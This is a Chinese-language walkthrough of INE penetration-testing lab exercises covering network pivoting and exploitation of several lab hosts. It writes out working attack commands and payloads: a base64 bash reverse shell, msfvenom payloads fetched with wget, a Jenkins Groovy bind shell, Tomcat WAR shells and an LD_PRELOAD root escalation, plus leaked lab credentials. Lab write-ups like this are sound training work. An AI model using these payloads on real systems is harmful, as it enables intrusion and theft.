官方网站:
https://my.ine.com/CyberSecurity/courses/6f986ca5/penetration-testing-basics
启动实验室,然后对目标网站进行枚举
nmap -A -sS demo.ine.local
开放了80端口,我们去网站上看看
发现网站的框架为V-CMS V1.0
通过搜索,发现该版本存在任意上传漏洞
进入msf,搜索漏洞
使用第二个,设置参数
run
执行攻击,得到shell
发现当前权限为root,进入shell,发现这个机子还在另一个网段中,我们无法直接ping通
我们要执行路由转发,然后枚举那个网段的机子
使用“autoroute”命令将路由添加到无法访问的 IP 范围
run autoroute -s 192.241.145.0 -n 255.255.255.0
将路由添加到 IP 范围 192.241.145.0/24
返回到msf,检查是否添加成功
route print
路由添加成功。然后我们可以使用“route”命令将路由表添加到 metasploit 框架
route add 192.241.145.0 255.255.255.0 1
使用msf的tcp扫描模块
auxiliary/scanner/portscan/tcp
设置参数,然后执行扫描
use auxiliary/scanner/portscan/tcp
set PORTS 80, 8080, 445, 21, 22
set RHOSTS 192.241.145.0/24
exploit
然后我们发现了三台存活的主机
192.241.145.1只开放了22端口,猜测可能是网关,192.241.145.2这个机子开发了80端口,是刚刚我们用vcms渗透的机子,未知的只有192.241.145.3这台机子,开发了21端口
在meterpreter 会话中有一个实用程序“portfwd”,它可以将远程机器端口转发到本地机器端口
回到刚刚拿下权限的那台机子
session -i 1
将远程端口转发到本地端口
portfwd add -l 1234 -p 21 -r 192.241.145.3
portfwd list
我们已经成功转发了端口。现在,使用 Nmap 扫描本地1234端口
nmap -sS -sV -p 1234 localhost
发现服务的版本是2.0.8,还是vsftpd,可以知道存在笑脸漏洞
msf 搜索 vsftpd 漏洞利用模块
使用这个模块,设置参数后执行
set rhosts 192.241.145.3
run
成功拿到最高权
启动实验室,然后对目标网站进行枚举
nmap -A -sS online-calc.com
目标靶机开放了80,5000,8000端口,我们访问80端口看看
什么都没有,枚举一下网站根目录看看
并没有什么有趣的目录,我们去访问5000端口看看
一个在线的计算器,枚举一下网站根目录
还是什么都没有
我们去访问一下8000端口
继续枚举网站根目录
发现了两个有趣的目录
/.git/
/console
暴露的.git目录中可能还有一些文件,继续枚举git目录
使用命令查看文件内容
curl http://online-calc.com:8000/.git/config
git 配置包含详细信息,包括名为Jeremy McCarthy的用户的凭据:
电子邮件:[email protected] 用户名:jeremy 密码:diamonds
git 配置文件还包含远程源的 URL:
远程来源网址: http: //online-calc.com/projects/online-calc
发现了远程存储库的网址,接下来我们要利用远程存储库枚举更多信息
使用以下命令克隆远程存储库:
git clone http://online-calc.com/projects/online-calc
然后我们检查一下 git 日志
git log
此存储库中的代码存在 2 个问题:任意文件读取和远程代码执行,但这两个问题都在随后的修复中得到解决
使用以下命令列出修复任意文件读取漏洞时的提交与之前的提交之间的更改
git diff 9aa6151c1d5e92ae0bd3d8ad8789ae9bb2d29edd 17f5d49be5ae6f0bc41fc90f5aabeccc90f6e2cd
通过分析发现
该send_from_directory函数用于发送从Flask服务器的根目录请求的任何文件
如果请求的路径包含or,%2E,404,则返回响应
使用以下命令列出修复 RCE 漏洞时的提交与之前的提交之间的更改:
git diff 4bcfb590014321deb984237da2a319206975170f 9aa6151c1d5e92ae0bd3d8ad8789ae9bb2d29edd
为了修复错误,在代码中添加了一个名为的evaluate函数,并且在函数中,isValid在将用户提供的数据传递给函数之前调用了该eval函数
用户输入中的字符在函数中被替换为"* 1.0 /"和evaluate
我们需要修改API.py中的代码,来重新利用这个远程代码执行漏洞
vim API.py
在最下面
现在在调用之前注释输入验证检查
eval
保存文件后退出
接下来我们要利用之前找到的信息将这些更改提交到存储库
git status
git add .
git commit -m "Bug Fix" --author "Jeremy McCarthy "
根据之前得到的账号密码来将这些更改推送到远程存储库
git push
我们查看一下是否更改成功
curl http://online-calc.com:8000/API.py
可以看到,我们修改成功了
现在就需要想办法得到shell了,通过之前的分析我们可以知道
为了修复错误,在代码中添加了一个名为的evaluate函数,并且在函数中,isValid在将用户提供的数据传递给函数之前调用了该eval函数
用户输入中的字符在函数中被替换为"* 1.0 /"和evaluate
所以我们需要用base64编码一下我们的payload
echo 'bash -c "bash -i >& /dev/tcp/192.196.85.2/4444 0>&1"' | base64
然后监听我们的本地4444端口
nc -lvp 4444
然后去到网址的5000端口,执行我们完整的payload
__import__("os").system("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjguNTIuMi80NDQ0IDA+JjEi | base64 -d | bash")
现在将复制的有效负载粘贴到计算器 webapp 的文本框中,然后按下id
=
成功拿到最高权限,查看本机网络,发现还存在一个网段
接下来我们要使用msf进行路由转发来渗透另一个网段的机子,我们先生成一个meterpreter 的payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.28.52.2 LPORT=5555 -f elf > payload.bin
python3 -m http.server 80
然后去到拿到权限的机子下载这个文件
wget http://192.28.52.2/payload.bin
chmod +x payload.bin
回到kali,我们打开msf,设置监听
msfconsole -q
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.28.52.2
set LPORT 5555
run
去到靶机上,执行payload.bin
存在另一个网段,我们进行路由转发
bg
route add 192.218.55.0/24 1
使用socks_proxy模块将meterpreter会话转换为socks代理
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 9050
run -j
socks 代理服务器(版本 4a)将在端口 9050 上启动。它将作为后台进程启动
使用 proxychains工具扫描另一个网段的主机,该工具将利用我们启动的代理服务器,探测存活主机后,发现192.218.55.3是另一个网段里唯一存活的主机
proxychains nmap -sT -P0 192.218.55.3
发现此主机开放了8080端口,我们打开火狐,设置一下网络代理
然后访问目标主机的8080端口
发现网站框架是jenkins,利用起来就简单了,因为这个框架可以直接执行脚本,我们去到脚本控制台
因为这是另一个网段的机子,不能直接回连shell,但我们可以让他监听5555端口,然后我们主动用nc去连接
payload:
int port=5555;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new java.net.ServerSocket(port).accept()
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
点击run
proxychains nc -v 192.218.55.3 5555
这里给了三个网站
server1.ine.local
server2.ine.local
server3.ine.local
我猜测他们都相互有关联的,由于很简单,这里我就简单记录一下渗透的过程
首先用nmap枚举第一个网站
nmap -A -sS server1.ine.local
发现网站的框架是werkzeug 版本为0.9.6
使用searchsploit搜索一下框架的漏洞
searchsploit werkzeug
查看一下漏洞信息
cat /usr/share/exploitdb/exploits/python/remote/37814.rb
发现此版本可以利用,打开msfconsole
use exploit/multi/http/werkzeug_debug_rce
set RHOSTS server1.ine.local
set LHOST 192.220.184.2
run
成功的拿到了最高权限,我们查看一下靶机上存在的用户
cat /etc/shadow
目标计算机上共有七个用户
使用enum_users_history模块来查看用户的历史文件,此模块会收集用户特定信息,用户列表、bash 历史、mysql 历史、vim 历史、lastlog 和 sudoers
background
use post/linux/gather/enum_users_history
set SESSION 1
run
然后查看生成的文件
cd /root/.msf4/loot/
ls
cat [file]
这里发现了mysql的用户名和密码,我们开始枚举第二个服务器
nmap -A -sS server2.ine.local
发现开放的端口和ip都吻合历史文件的记录,我们登录mysql
然后查看mysql数据库的版本
select version();
通过google发现存在用户定义函数 (UDF)漏洞,打开msfconsole
use exploit/multi/mysql/mysql_udf_payload
set FORCE_UDF_UPLOAD true
set PASSWORD fArFLP29UySm4bZj
set RHOSTS server2.ine.local
set TARGET 1
set LHOST 192.220.184.2
run
session -i 1
成功拿到第二台机子的最高权限,查看flag
然后开始枚举第三个网站
nmap -A -sS server3.ine.local
机子开放了8080端口,框架为tomcat,然后枚举一下网站根目录
dirb http://server3.ine.local:8080
发现了一个有趣的目录,我们去浏览器上访问
他要求我们登录,我们暴力破解一下看行不行
打开msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS server3.ine.local
set VERBOSE false
run
成功爆破出密码,然后去登录
我们可以上传一个paylaod来获得目标靶机的shell
使用msfvenom生成payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.220.184.2 LPORT=443 -f war > shell.war
然后上传我们的payload
上传成功,然后本地监听一下端口
nc -vnlp 443
访问连接,成功得到shell
当前的 shell 不是标准 shell,因为它缺乏 TTY shell 提供的很多好处,如反向搜索、tab补全等。所以让我们使用 Python 升级当前的 shell 会话
python -c 'import pty;pty.spawn("/bin/bash");'
查看flag
然后我们查看靶机上存在的用户
发现只有一个用户
去到tomcat的配置文件目录下看看有没有其他文件
cd /con
发现有一个压缩包,我们解压一下这个压缩包
tar -xvf conf.tar.gz
ls
发现一个有趣的文件,我们去看看
文件配置里有robert的密码,我们登录试试
登录成功,查看flag
现在我们需要手动提权拿到root权限,sudo -l 看一下这个用户可以用sudo执行什么命令
这个用户可以用sudo命令执行ls命令
我们可以通过利用LD_PRELOAD环境变量,强制用ls命令加载一个自定义共享库,该库在目标机器上提供 shell 访问
创建一个文件,然后写入以下代码
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
上面的代码很简单。它将用户 ID 和组 ID 设置为 0,并生成一个 bash shell
然后编译这个文件为共享库
gcc -fPIC -shared -o shell.so 1.c -nostartfiles
然后执行
sudo LD_PRELOAD=/home/robert/shell.so ls
成功拿到root权限
查看flag